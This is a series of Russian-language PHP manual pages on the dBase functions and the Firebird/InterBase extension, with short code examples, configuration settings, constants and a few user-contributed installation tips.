  • dBase
  • Получает записи из базы данных, как из индексированного массива

dbase_get_record

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_get_record — Получает записи из базы данных, как из индексированного массива

Описание

dbase_get_record(resource $database, int $number): array

Получает записи из базы данных, как из индексированного массива.

Список параметров

database

Ресурс базы данных, возвращаемый функцией dbase_open() или dbase_create().

number

Индекс записи (Здесь соответствует физическому номеру записи. - прим. пер.) в диапазоне от 1 до dbase_numrecords($dbase_identifier)

Возвращаемые значения

Возвращает запись в виде массива. Массив будет включать в себя ключ deleted который равен 1, если запись помечена на удаление (смотрите dbase_delete_record()).

Каждое поле преобразуется в соответствующий тип PHP, за исключением:

  • Date преобразуется в строку.
  • DateTime преобразуется в строку.
  • Целые, выходящие из диапазона PHP_INT_MIN..PHP_INT_MAX преобразуются в строки.
  • До dbase 7.0.0, логические значение (L) преобразуются в 1 или 0.

В случае возникновения ошибки, dbase_get_record() возвращает false.

Список изменений

Версия | Описание
dbase 7.0.0 | Параметр database теперь имеет тип resource а не int.

Смотрите также

  • dbase_get_record_with_names() - Получает запись из базы данных в виде ассоциативного массива

User Contributed Notes

There are no user contributed notes for this page.


Получает количество полей базы данных

  • « dbase_get_record
  • dbase_numrecords »
  • PHP Manual
  • dBase
  • Получает количество полей базы данных

dbase_numfields

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_numfields — Получает количество полей базы данных

Описание

dbase_numfields(resource $database): int

Получает количество полей (колонок) в указанной базе данных.

Замечание:

Поле номеруются от 0 до dbase_numfields($db)-1, тогда как записи базы данных от 1 до dbase_numrecords($db).

Список параметров

database

Ресурс базы данных, возвращаемый функцией dbase_open() или dbase_create().

Возвращаемые значения

Количество полей в базе данных или false в случае возникновения ошибки.

Список изменений

Версия | Описание
dbase 7.0.0 | Параметр database теперь имеет тип resource, а не int.

Примеры

Пример #1 Пример использования dbase_numfields()

<?php
//открытие БД для чтения
$db = dbase_open('.\tmp\test.dbf', 0);

//если соединение успешно, то выполняем действия
if ($db) {
//получение количества записей БД
$record_numbers = dbase_numrecords($db);
//получение количества полей БД
$nf = dbase_numfields($db);
//вывод всех записей БД
//построчный обход
for ($j = 1; $j <= $record_numbers; $j++) {
//вывод номера строки
echo $j."=>" ;
//получение строки по номеру (индексу)
$rec = dbase_get_record($db, $j);

//обход по столбцам
for ($i = 0; $i < $nf; $i++) {
//вывод данных поля
echo $rec[$i], "\t";
}
echo "<br>";
}
dbase_close($db);
} else echo "Не удалось подключиться к БД";

?>

Смотрите также

  • dbase_numrecords() - Получает количество записей в базе данных

User Contributed Notes

There are no user contributed notes for this page.


Получает количество записей в базе данных

  • « dbase_numfields
  • dbase_open »
  • PHP Manual
  • dBase
  • Получает количество записей в базе данных

dbase_numrecords

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_numrecords — Получает количество записей в базе данных

Описание

dbase_numrecords(resource $database): int

Получает количество записей (строк) в указанной базе данных.

Замечание:

Записи, помеченные как удалённые, также учитываются.

Замечание:

Записи базы данных нумеруются от 1 dbase_numrecords($db), тогда как поля от 0 до dbase_numfields($db)-1.

Список параметров

database

Ресурс базы данных, возвращаемый функцией dbase_open() или dbase_create().

Возвращаемые значения

Количество записей в базе данных, или false в случае возникновения ошибки.

Список изменений

Версия | Описание
dbase 7.0.0 | Параметр database теперь имеет тип resource а не int.

Примеры

Пример #1 Цикл по всем записям базы данных

<?php

// открываем в режиме для чтения
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
$record_numbers = dbase_numrecords($db);
for ($i = 1; $i <= $record_numbers; $i++) {
//выполнение каких-либо действий с записью
}
}

?>

Смотрите также

  • dbase_numfields() - Получает количество полей базы данных

User Contributed Notes

There are no user contributed notes for this page.


Открывает базу данных

  • « dbase_numrecords
  • dbase_pack »
  • PHP Manual
  • dBase
  • Открывает базу данных

dbase_open

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_open — Открывает базу данных

Описание

dbase_open(string $path, int $mode): resource|false

dbase_open() открывает базу данных dBase с заданным режимом доступа.

Замечание:

На поведение этой функции влияет значение директивы open_basedir.

Список параметров

path

Путь к базе данных. Это может быть относительный или абсолютный путь к файлу, в котором dBase будет хранить ваши данные.

mode

Целое число, которое соответствует аналогичному в системном вызове open() (Обычно 0 означает режим для чтения, 1 - режим для записи, и 2 - режим для чтения и записи).

Замечание:

Вы не можете открыть файл в dBase в режиме только для записи, потому что функция будет не в состоянии читать информацию из заголовка БД, и, таким образом, вы не можете использовать 1 в качестве значения mode.

С версии dbase 7.0.0 вы можете использовать DBASE_RDONLY и DBASE_RDWR, для задания режима открытия базы в mode.

Возвращаемые значения

Возвращает ресурс базы данных в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
dbase 7.0.0 | Параметр database теперь имеет тип resource а не int.

Примеры

Пример #1 Открытие dBase файл базы данных

<?php

// открытие в режиме чтения
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
// чтение некотрых данных

dbase_close($db);
}

?>

Смотрите также

  • dbase_create() - Создаёт базу данных
  • dbase_close() - Закрывает базу данных

User Contributed Notes

jmertic at ncscredit dot com 16-Oct-2001 04:57
If you are wanting to open Foxpro tables using this, make sure they are in the 2.x format or php will not respond. In VFP use the following:

COPY TO tablename.dbf TYPE FOX2X

This is an easy way to bring database info to the web if you have a small foxpro setup.


Фиксирует удаление из базы данных

  • « dbase_open
  • dbase_replace_record »
  • PHP Manual
  • dBase
  • Фиксирует удаление из базы данных

dbase_pack

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_pack — Фиксирует удаление из базы данных

Описание

dbase_pack(resource $database): bool

Фиксирует удаление из базы данных, окончательно удаляет записи, которые были помечены на удаление с помощью dbase_delete_record(). Обратите внимание, что после выполнения этой операции файл будет усечён (в отличие от команды dBASE III's PACK)

Список параметров

database

Ресурс базы данных, возвращаемый функцией dbase_open() или dbase_create().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
dbase 7.0.0 | Параметр database теперь имеет тип resource а не int.

Примеры

Пример #1 Очистка базы данных dBase

<?php

// открываем в режиме чтения и записи
$db = dbase_open('/tmp/test.dbf', 2);

if ($db) {
$record_numbers = dbase_numrecords($db);
for ($i = 1; $i <= $record_numbers; $i++) {
dbase_delete_record($db, $i);
}
// стираем базу
dbase_pack($db);
}

?>

Смотрите также

  • dbase_delete_record() - Удаление записей из базы данных

User Contributed Notes

There are no user contributed notes for this page.


Заменяет запись в базе данных

  • « dbase_pack
  • Firebird/InterBase »
  • PHP Manual
  • dBase
  • Заменяет запись в базе данных

dbase_replace_record

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_replace_record — Заменяет запись в базе данных

Описание

dbase_replace_record(resource $database, array $data, int $number): bool

Заменяет данную запись в базе данных на заданные значения.

Список параметров

database

Ресурс базы данных, возвращаемый функцией dbase_open() или dbase_create().

data

Индексированный массив данных. Количество элементов должно быть равно количеству полей в базе данных, в противном случае вызов dbase_replace_record() не удастся.

Замечание:

Если вы используете в качестве параметра запись, которую вернула dbase_get_record(), не забудьте сбросить ключ с именем deleted.

number

Целое число, которое может быть в диапазоне от 1 до числа записей в базе данных (которое вернула функция dbase_numrecords()).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
dbase 7.0.0 | Параметр database теперь имеет тип resource а не int.

Примеры

Пример #1 Обновление записи в базе данных

<?php

// откроем в режиме чтения и записи
$db = dbase_open('/tmp/test.dbf', 2);

if ($db) {
// получим старую запись
$row = dbase_get_record_with_names($db, 1);

// сбросим пометку 'deleted'
unset($row['deleted']);

// Установим в поле даты текущую дату
$row['date'] = date('Ymd');

// Преобразуем $row в массив
$row = array_values($row);

// Заменим запись
dbase_replace_record($db, $row, 1);
dbase_close($db);
}

?>

Примечания

Замечание:

При использовании dbase_get_record() и dbase_get_record_with_names(), поля логического типа возвращаются как целочисленное (int) значение (0 либо 1). Если вы собираетесь записывать эти значения обратно, необходимо помнить, что результат станет равным 0.

Смотрите также

  • dbase_add_record() - Добавляет запись в базу данных
  • dbase_delete_record() - Удаление записей из базы данных

User Contributed Notes

Anonymous 20-May-2015 01:53
Make sure you opened the database for WRITE!
dbase_open( "yourfile.dbf", 2)


Firebird/InterBase

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции Firebird/InterBase
    • fbird_add_user — Псевдоним ibase_add_user
    • fbird_affected_rows — Псевдоним ibase_affected_rows
    • fbird_backup — Псевдоним ibase_backup
    • fbird_blob_add — Псевдоним ibase_blob_add
    • fbird_blob_cancel — Отменяет создание BLOB
    • fbird_blob_close — Псевдоним ibase_blob_close
    • fbird_blob_create — Псевдоним ibase_blob_create
    • fbird_blob_echo — Псевдоним ibase_blob_echo
    • fbird_blob_get — Псевдоним ibase_blob_get
    • fbird_blob_import — Псевдоним ibase_blob_import
    • fbird_blob_info — Псевдоним ibase_blob_info
    • fbird_blob_open — Псевдоним ibase_blob_open
    • fbird_close — Псевдоним ibase_close
    • fbird_commit_ret — Псевдоним ibase_commit_ret
    • fbird_commit — Псевдоним ibase_commit
    • fbird_connect — Псевдоним ibase_connect
    • fbird_db_info — Псевдоним ibase_db_info
    • fbird_delete_user — Псевдоним ibase_delete_user
    • fbird_drop_db — Псевдоним ibase_drop_db
    • fbird_errcode — Псевдоним ibase_errcode
    • fbird_errmsg — Псевдоним ibase_errmsg
    • fbird_execute — Псевдоним ibase_execute
    • fbird_fetch_assoc — Псевдоним ibase_fetch_assoc
    • fbird_fetch_object — Псевдоним ibase_fetch_object
    • fbird_fetch_row — Псевдоним ibase_fetch_row
    • fbird_field_info — Псевдоним ibase_field_info
    • fbird_free_event_handler — Псевдоним ibase_free_event_handler
    • fbird_free_query — Псевдоним ibase_free_query
    • fbird_free_result — Псевдоним ibase_free_result
    • fbird_gen_id — Псевдоним ibase_gen_id
    • fbird_maintain_db — Псевдоним ibase_maintain_db
    • fbird_modify_user — Псевдоним ibase_modify_user
    • fbird_name_result — Псевдоним ibase_name_result
    • fbird_num_fields — Псевдоним ibase_num_fields
    • fbird_num_params — Псевдоним ibase_num_params
    • fbird_param_info — Псевдоним ibase_param_info
    • fbird_pconnect — Псевдоним ibase_pconnect
    • fbird_prepare — Псевдоним ibase_prepare
    • fbird_query — Псевдоним ibase_query
    • fbird_restore — Псевдоним ibase_restore
    • fbird_rollback_ret — Псевдоним ibase_rollback_ret
    • fbird_rollback — Псевдоним ibase_rollback
    • fbird_server_info — Псевдоним ibase_server_info
    • fbird_service_attach — Псевдоним ibase_service_attach
    • fbird_service_detach — Псевдоним ibase_service_detach
    • fbird_set_event_handler — Псевдоним ibase_set_event_handler
    • fbird_trans — Псевдоним ibase_trans
    • fbird_wait_event — Псевдоним ibase_wait_event
    • ibase_add_user — Добавляет пользователя в безопасную базу данных
    • ibase_affected_rows — Возвращает количество строк, на которые повлиял предыдущий запрос
    • ibase_backup — Инициирует задание резервного копирования в диспетчере служб и немедленно возвращает
    • ibase_blob_add — Добавляет данные во вновь созданный BLOB-объект
    • ibase_blob_cancel — Отменяет создания BLOB-объекта
    • ibase_blob_close — Закрывает BLOB-объект
    • ibase_blob_create — Создаёт новый BLOB-объект для заполнения данными
    • ibase_blob_echo — Выводит содержимое BLOB-объекта в браузер
    • ibase_blob_get — Получает количество байтов от открытого BLOB-объекта
    • ibase_blob_import — Создаёт BLOB-объект, копирует в него файл и закрывает его
    • ibase_blob_info — Возвращает длину BLOB-объекта и другую полезную информацию
    • ibase_blob_open — Открывает BLOB-объект для извлечения частей данных
    • ibase_close — Закрывает соединение с базой данных InterBase
    • ibase_commit_ret — Фиксирует транзакцию, не закрывая её
    • ibase_commit — Фиксирует транзакцию
    • ibase_connect — Открывает соединение с базой данных
    • ibase_db_info — Запрашивает статистику базы данных
    • ibase_delete_user — Удаляет пользователя из безопасной базы данных
    • ibase_drop_db — Удаляет базу данных
    • ibase_errcode — Возвращает код ошибки
    • ibase_errmsg — Возвращает сообщение об ошибке
    • ibase_execute — Выполняет предварительно подготовленный запрос
    • ibase_fetch_assoc — Извлекает строку результата из запроса в виде ассоциативного массива
    • ibase_fetch_object — Получает объект из базы данных InterBase
    • ibase_fetch_row — Извлекает строку из базы данных InterBase
    • ibase_field_info — Получает информацию о поле
    • ibase_free_event_handler — Отменяет зарегистрированный обработчик события
    • ibase_free_query — Освобождает память, выделенную на подготовку запроса
    • ibase_free_result — Освобождает набор результатов
    • ibase_gen_id — Увеличивает указанный генератор и возвращает его новое значение
    • ibase_maintain_db — Выполняет команду обслуживания на сервере базы данных
    • ibase_modify_user — Изменяет пользователя в безопасной базе данных
    • ibase_name_result — Присваивает имя набору результатов
    • ibase_num_fields — Возвращает количество полей в результирующем наборе
    • ibase_num_params — Возвращает количество параметров в подготовленном запросе
    • ibase_param_info — Возвращает информацию о параметре в подготовленном запросе
    • ibase_pconnect — Открывает постоянное соединение с базой данных InterBase
    • ibase_prepare — Подготавливает запрос для последующего связывания псевдопеременных и выполнения
    • ibase_query — Выполняет запрос к базе данных InterBase
    • ibase_restore — Запускает задачу восстановления в диспетчере служб и немедленно возвращается
    • ibase_rollback_ret — Откатывает транзакцию, не закрывая её
    • ibase_rollback — Откатывает транзакцию
    • ibase_server_info — Запрашивает информацию о сервере базы данных
    • ibase_service_attach — Подключается к диспетчеру служб
    • ibase_service_detach — Отключается от диспетчера служб
    • ibase_set_event_handler — Регистрирует callback-функцию, которая будет вызываться при публикации событий
    • ibase_trans — Начинает транзакцию
    • ibase_wait_event — Ждём, пока событие будет опубликовано в базе данных

User Contributed Notes

There are no user contributed notes for this page.


Введение

Внимание

Этот модуль считается неподдерживаемым и мёртвым. В любом случае, исходники доступны через PECL GIT тут: » https://github.com/php/pecl-database-interbase.

Firebird является реляционной базой данных, реализующая множество возможностей ISO SQL-2003 и работающая на Linux, Windows и различных Unix-платформах. Firebird высокопроизводительная, отлично работающая в условиях конкурентного доступа БД, предоставляющая мощный язык разработки встроенных процедур и триггеров. Она, под разными именами, используется в промышленных системах начиная с 1981.

InterBase - это имя проприетарного варианта RDBMS с закрытым исходным кодом, которая разрабатывается компанией Embarcadero/Inprise. Более подробно можно почитать по ссылке » http://www.embarcadero.com/products/interbase.

Firebird - это коммерчески независимый проект (сообщество) программистов на C++, технических советников и прочих участников сообщества, разрабатывающих и расширяющих мультиплатформенную систему управления реляционными базами данных, основанную на коде открытым компанией Inprise Corp (она же Embarcadero) под лицензией InterBase Public License v.1.0 on 25 July, 2000. Более подробно о Firebird читайте тут » http://www.firebirdsql.org/.

Замечание:

Этот модуль был перемещен в репозиторий » PECL и больше не поставляется с PHP 7.4.0

Модуль поддерживает InterBase версии 6 и выше и Firebird версии 2.0 и выше.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль был перемещен в репозиторий » PECL и больше не поставляется с PHP 7.4.0

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/ibase.

Для включения поддержки Firebird/InterBase, сконфигурируйте PHP с опцией --with-interbase[=DIR], где DIR указывает на директорию установки Firebird/InterBase (по умолчанию /usr).

Замечание: Замечания для пользователей Win32/Win64

Для работы этого модуля системной переменной Windows PATHдолжны быть доступны DLL-файлы. Чтобы узнать как этого достичь, обратитесь к разделу FAQ "Как добавить мою директорию с PHP в переменную Windows PATH". Хотя копирование DLL-файлов из директории PHP в системную папку Windows также решает проблему (потому что системная директория по умолчанию находится в переменной PATH), это не рекомендуется. Этому модулю требуются следующие файлы в переменной PATH: fbclient.dll,gds32.dll

Если сервер Firebird/InterBase установлен на той же машине, где запускается PHP, то эти DLL уже должны присутствовать и путь к fbclient.dll,gds32.dll (gds32.dll создаётся установщиком для старых приложений) уже будет прописан в PATH.

User Contributed Notes

hiddenmailbox at yandex dot ru 15-Dec-2011 04:06
I tried to add extension php_interbase.dll on my php (WinXp PHP as Apche2.2 module).
I had a problem while starting web server:
"unable to load dynamic lybrary php_interbase.dll"
Solution was to add file fbclient.dll into php folder. (Not gds32.dll)
teson 26-Oct-2009 05:50
Add interbase.so to MAMP / OSX

get xcode and macports.
install m4 through macports
download php-source corresponding to mamp-version

create symblinks needed
from http://www.ibexpert.net/forum/viewtopic.phpf=13&t=7&start=0&st=0&sk=t&sd=a

# in short:
# (backslash = keep on same row)
cd /usr
sudo  mkdir -p local/firebird/lib

sudo ln -s /Library/Frameworks/Firebird.framework/Firebird \
local/firebird/lib/libfbclient.dylib

sudo ln -s /Library/Frameworks/Firebird.framework/Headers/ \
local/firebird/include

#create .so
sudo su

cd /path-to-php-source/ext/interbase

/Applications/MAMP/bin/php5/bin/phpize

./configure --with-interbase=/usr/local/firebird

make

#install so to mamp-ext.dir
cp modules/interbase.so \
/Applications/MAMP/bin/php5/lib/ \
php/extensions/no-debug-non-zts-20050922

#add to /Applications/MAMP/conf/php5/php.ini
[firebird]
extension = interbase.so
ibase.allow_persistent = "1"
ibase.max_persistent = "-1"
ibase.max_links = "-1"
ibase.default_db = null
ibase.default_user = NULL
ibase.default_password = NULL
ibase.default_charset = NULL
ibase.timestampformat = "%Y-%m-%d %H:%M:%S"
ibase.dateformat = "%Y-%m-%d"
ibase.timeformat = "%H:%M:%S"

#restart mamp - interbase should show in phpinfo
#enjoy!
rockeur941 at hotmail dot com 15-Feb-2009 02:05
On version 2.0 or higher of Firebird, the library is now fbclient.dll. But, fbclient.dll can be rename on gds32.dll, on Windows System for compatibility. The library gds32.dll is for older version of firebird.

Pour les version recentes (2 et plus) de Firebird, la librairie est maintenant fbclient.dll. La librairie gds32.dll etait pour les anciennes versions. Il est possible de renommer fbclient.dll en gds32.dll pour les differentes compatibilites pour les application deja existantes.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Конфигурационные опции InterBase
Имя | По умолчанию | Место изменения | Список изменений
ibase.allow_persistent | "1" | PHP_INI_SYSTEM |
ibase.max_persistent | "-1" | PHP_INI_SYSTEM |
ibase.max_links | "-1" | PHP_INI_SYSTEM |
ibase.default_db | NULL | PHP_INI_SYSTEM |
ibase.default_user | NULL | PHP_INI_ALL |
ibase.default_password | NULL | PHP_INI_ALL |
ibase.default_charset | NULL | PHP_INI_ALL |
ibase.timestampformat | "%Y-%m-%d %H:%M:%S" | PHP_INI_ALL |
ibase.dateformat | "%Y-%m-%d" | PHP_INI_ALL |
ibase.timeformat | "%H:%M:%S" | PHP_INI_ALL |
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

ibase.allow_persistent bool

Разрешено ли использовать постоянные соединения к Firebird/InterBase.

ibase.max_persistent int

Максимальное количество постоянных соединений для процесса. Если данное ограничение будет превышено, то функция ibase_pconnect() будет возвращать непостоянные соединения.

ibase.max_links int

Максимальное количество соединений с Firebird/InterBase на процесс, включая постоянные.

ibase.default_db string

База данных по умолчанию. Если вызывать ibase_[p]connect() без указания имени базы данных, то будет использовано это значение. Если данный параметр установлен и включён безопасный режим SQL, то будут разрешены соединения только с этой базой.

ibase.default_user string

Имя пользователя по умолчанию.

ibase.default_password string

Пароль по умолчанию.

ibase.default_charset string

Кодировка по умолчанию.

ibase.timestampformat string

ibase.dateformat string

ibase.timeformat string

Эти директивы используются для установки формата даты и времени. Данные форматы будут использоваться как при получении результирующего набора, содержащего поля соответствующих типов, так и при связывании значений с параметрами запроса.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

Следующие константы можно задавать в функции ibase_trans() для определения поведения транзакций.

Флаги транзакций Firebird/InterBase
Константа | Описание
IBASE_DEFAULT | Настройки по умолчанию для новой транзакции. Это значение определяется клиентской библиотекой, которое в большинстве случаев равно IBASE_WRITE|IBASE_CONCURRENCY|IBASE_WAIT.
IBASE_READ | Начинает транзакцию в режиме только на чтение.
IBASE_WRITE | Начинает транзакцию в режиме чтения и записи.
IBASE_CONSISTENCY | Начинает транзакцию с уровнем изоляции 'consistency' (согласование). Это означает, что транзакция не может читать из таблиц, в которые вносятся изменения параллельными (конкурирующими) транзакциями.
IBASE_CONCURRENCY | Начинает транзакцию с уровнем изоляции 'concurrency' (или 'snapshot', 'моментальный снимок'). Это означает, что транзакция имеет доступ ко всем таблицам, но не может видеть изменения других транзакций после снимка.
IBASE_COMMITTED | Начинает транзакцию с уровнем изоляции 'read committed' (читать фиксированное). Этот флаг должен быть объединён с IBASE_REC_VERSION или IBASE_REC_NO_VERSION. Этот уровень изоляции позволяет получить доступ к изменениям, совершенными после начала транзакции. Если указан флаг IBASE_REC_NO_VERSION, только последняя версия изменений может быть прочитана. Если указан флаг IBASE_REC_VERSION, то можно читать изменения, находящиеся в очереди в параллельных транзакциях.
IBASE_WAIT | Флаг, указывающий, что транзакция должна ждать при возникновении конфликта транзакций.
IBASE_NOWAIT | Флаг, указывающий, что транзакция должна вернуть ошибку при возникновении конфликта транзакций.

Следующие константы можно задавать в функциях ibase_fetch_row(), ibase_fetch_assoc() или ibase_fetch_object(), для управления поведением извлечением данных.

Флаги извлечения Firebird/InterBase
Константа | Описание
IBASE_FETCH_BLOBS | Также можно использовать IBASE_TEXT для обеспечения обратной совместимости. Вынуждает извлекать объекты BLOB целиком, а не только их идентификаторы.
IBASE_FETCH_ARRAYS | Вынуждает извлекать массивы целиком, а не только их идентификаторы. Идентификаторы массивов можно использоваться только для операций вставки, так как на данный момент отсутствуют какие-либо другие функции для работы с ними.
IBASE_UNIXTIME | Вынуждает поля типа дата/время извлекаться не как строки, а как временные метки Unix (количество секунд, прошедших с 1 января 1970 00:00 UTC). Может вызвать проблемы на некоторых системах, если необходимо работать с более ранними датами.

Следующие константы используются для передачи в запросы и сервисные функции API
(ibase_server_info(), ibase_db_info(),
ibase_backup(), ibase_restore()
и ibase_maintain_db()). За подробностями обратитесь к
документации Firebird/InterBase.

IBASE_BKP_IGNORE_CHECKSUMS
IBASE_BKP_IGNORE_LIMBO
Опция для ibase_backup()
IBASE_BKP_METADATA_ONLY
Опция для ibase_backup()
IBASE_BKP_NO_GARBAGE_COLLECT
Опция для ibase_backup()
IBASE_BKP_OLD_DESCRIPTIONS
Опция для ibase_backup()
IBASE_BKP_NON_TRANSPORTABLE
Опция для ibase_backup()
IBASE_BKP_CONVERT
Опция для ibase_backup()
IBASE_RES_DEACTIVATE_IDX
Опция для ibase_restore()
IBASE_RES_NO_SHADOW
Опция для ibase_restore()
IBASE_RES_NO_VALIDITY
Опция для ibase_restore()
IBASE_RES_ONE_AT_A_TIME
Опция для ibase_restore()
IBASE_RES_REPLACE
IBASE_RES_CREATE
Опция для ibase_restore()
IBASE_RES_USE_ALL_SPACE
Опция для ibase_restore()
IBASE_PRP_PAGE_BUFFERS
IBASE_PRP_SWEEP_INTERVAL
IBASE_PRP_SHUTDOWN_DB
IBASE_PRP_DENY_NEW_TRANSACTIONS
IBASE_PRP_DENY_NEW_ATTACHMENTS
IBASE_PRP_RESERVE_SPACE
IBASE_PRP_RES_USE_FULL
IBASE_PRP_RES
IBASE_PRP_WRITE_MODE
IBASE_PRP_WM_ASYNC
IBASE_PRP_WM_SYNC
IBASE_PRP_ACCESS_MODE
IBASE_PRP_AM_READONLY
IBASE_PRP_AM_READWRITE
IBASE_PRP_SET_SQL_DIALECT
IBASE_PRP_ACTIVATE
IBASE_PRP_DB_ONLINE
IBASE_RPR_CHECK_DB
IBASE_RPR_IGNORE_CHECKSUM
IBASE_RPR_KILL_SHADOWS
IBASE_RPR_MEND_DB
IBASE_RPR_VALIDATE_DB
IBASE_RPR_FULL
IBASE_RPR_SWEEP_DB
Опция для ibase_maintain_db()
IBASE_STS_DATA_PAGES
IBASE_STS_DB_LOG
IBASE_STS_HDR_PAGES
IBASE_STS_IDX_PAGES
IBASE_STS_SYS_RELATIONS
Опция для ibase_db_info()
IBASE_SVC_SERVER_VERSION
Опция для ibase_server_info()
IBASE_SVC_IMPLEMENTATION
Опция для ibase_server_info()
IBASE_SVC_GET_ENV
Опция для ibase_server_info()
IBASE_SVC_GET_ENV_LOCK
IBASE_SVC_GET_ENV_MSG
IBASE_SVC_USER_DBPATH
IBASE_SVC_SVR_DB_INFO
IBASE_SVC_GET_USERS
Опция для ibase_server_info()

User Contributed Notes

There are no user contributed notes for this page.


Функции Firebird/InterBase

Содержание

  • fbird_add_user — Псевдоним ibase_add_user
  • fbird_affected_rows — Псевдоним ibase_affected_rows
  • fbird_backup — Псевдоним ibase_backup
  • fbird_blob_add — Псевдоним ibase_blob_add
  • fbird_blob_cancel — Отменяет создание BLOB
  • fbird_blob_close — Псевдоним ibase_blob_close
  • fbird_blob_create — Псевдоним ibase_blob_create
  • fbird_blob_echo — Псевдоним ibase_blob_echo
  • fbird_blob_get — Псевдоним ibase_blob_get
  • fbird_blob_import — Псевдоним ibase_blob_import
  • fbird_blob_info — Псевдоним ibase_blob_info
  • fbird_blob_open — Псевдоним ibase_blob_open
  • fbird_close — Псевдоним ibase_close
  • fbird_commit_ret — Псевдоним ibase_commit_ret
  • fbird_commit — Псевдоним ibase_commit
  • fbird_connect — Псевдоним ibase_connect
  • fbird_db_info — Псевдоним ibase_db_info
  • fbird_delete_user — Псевдоним ibase_delete_user
  • fbird_drop_db — Псевдоним ibase_drop_db
  • fbird_errcode — Псевдоним ibase_errcode
  • fbird_errmsg — Псевдоним ibase_errmsg
  • fbird_execute — Псевдоним ibase_execute
  • fbird_fetch_assoc — Псевдоним ibase_fetch_assoc
  • fbird_fetch_object — Псевдоним ibase_fetch_object
  • fbird_fetch_row — Псевдоним ibase_fetch_row
  • fbird_field_info — Псевдоним ibase_field_info
  • fbird_free_event_handler — Псевдоним ibase_free_event_handler
  • fbird_free_query — Псевдоним ibase_free_query
  • fbird_free_result — Псевдоним ibase_free_result
  • fbird_gen_id — Псевдоним ibase_gen_id
  • fbird_maintain_db — Псевдоним ibase_maintain_db
  • fbird_modify_user — Псевдоним ibase_modify_user
  • fbird_name_result — Псевдоним ibase_name_result
  • fbird_num_fields — Псевдоним ibase_num_fields
  • fbird_num_params — Псевдоним ibase_num_params
  • fbird_param_info — Псевдоним ibase_param_info
  • fbird_pconnect — Псевдоним ibase_pconnect
  • fbird_prepare — Псевдоним ibase_prepare
  • fbird_query — Псевдоним ibase_query
  • fbird_restore — Псевдоним ibase_restore
  • fbird_rollback_ret — Псевдоним ibase_rollback_ret
  • fbird_rollback — Псевдоним ibase_rollback
  • fbird_server_info — Псевдоним ibase_server_info
  • fbird_service_attach — Псевдоним ibase_service_attach
  • fbird_service_detach — Псевдоним ibase_service_detach
  • fbird_set_event_handler — Псевдоним ibase_set_event_handler
  • fbird_trans — Псевдоним ibase_trans
  • fbird_wait_event — Псевдоним ibase_wait_event
  • ibase_add_user — Добавляет пользователя в безопасную базу данных
  • ibase_affected_rows — Возвращает количество строк, на которые повлиял предыдущий запрос
  • ibase_backup — Инициирует задание резервного копирования в диспетчере служб и немедленно возвращает
  • ibase_blob_add — Добавляет данные во вновь созданный BLOB-объект
  • ibase_blob_cancel — Отменяет создания BLOB-объекта
  • ibase_blob_close — Закрывает BLOB-объект
  • ibase_blob_create — Создаёт новый BLOB-объект для заполнения данными
  • ibase_blob_echo — Выводит содержимое BLOB-объекта в браузер
  • ibase_blob_get — Получает количество байтов от открытого BLOB-объекта
  • ibase_blob_import — Создаёт BLOB-объект, копирует в него файл и закрывает его
  • ibase_blob_info — Возвращает длину BLOB-объекта и другую полезную информацию
  • ibase_blob_open — Открывает BLOB-объект для извлечения частей данных
  • ibase_close — Закрывает соединение с базой данных InterBase
  • ibase_commit_ret — Фиксирует транзакцию, не закрывая её
  • ibase_commit — Фиксирует транзакцию
  • ibase_connect — Открывает соединение с базой данных
  • ibase_db_info — Запрашивает статистику базы данных
  • ibase_delete_user — Удаляет пользователя из безопасной базы данных
  • ibase_drop_db — Удаляет базу данных
  • ibase_errcode — Возвращает код ошибки
  • ibase_errmsg — Возвращает сообщение об ошибке
  • ibase_execute — Выполняет предварительно подготовленный запрос
  • ibase_fetch_assoc — Извлекает строку результата из запроса в виде ассоциативного массива
  • ibase_fetch_object — Получает объект из базы данных InterBase
  • ibase_fetch_row — Извлекает строку из базы данных InterBase
  • ibase_field_info — Получает информацию о поле
  • ibase_free_event_handler — Отменяет зарегистрированный обработчик события
  • ibase_free_query — Освобождает память, выделенную на подготовку запроса
  • ibase_free_result — Освобождает набор результатов
  • ibase_gen_id — Увеличивает указанный генератор и возвращает его новое значение
  • ibase_maintain_db — Выполняет команду обслуживания на сервере базы данных
  • ibase_modify_user — Изменяет пользователя в безопасной базе данных
  • ibase_name_result — Присваивает имя набору результатов
  • ibase_num_fields — Возвращает количество полей в результирующем наборе
  • ibase_num_params — Возвращает количество параметров в подготовленном запросе
  • ibase_param_info — Возвращает информацию о параметре в подготовленном запросе
  • ibase_pconnect — Открывает постоянное соединение с базой данных InterBase
  • ibase_prepare — Подготавливает запрос для последующего связывания псевдопеременных и выполнения
  • ibase_query — Выполняет запрос к базе данных InterBase
  • ibase_restore — Запускает задачу восстановления в диспетчере служб и немедленно возвращается
  • ibase_rollback_ret — Откатывает транзакцию, не закрывая её
  • ibase_rollback — Откатывает транзакцию
  • ibase_server_info — Запрашивает информацию о сервере базы данных
  • ibase_service_attach — Подключается к диспетчеру служб
  • ibase_service_detach — Отключается от диспетчера служб
  • ibase_set_event_handler — Регистрирует callback-функцию, которая будет вызываться при публикации событий
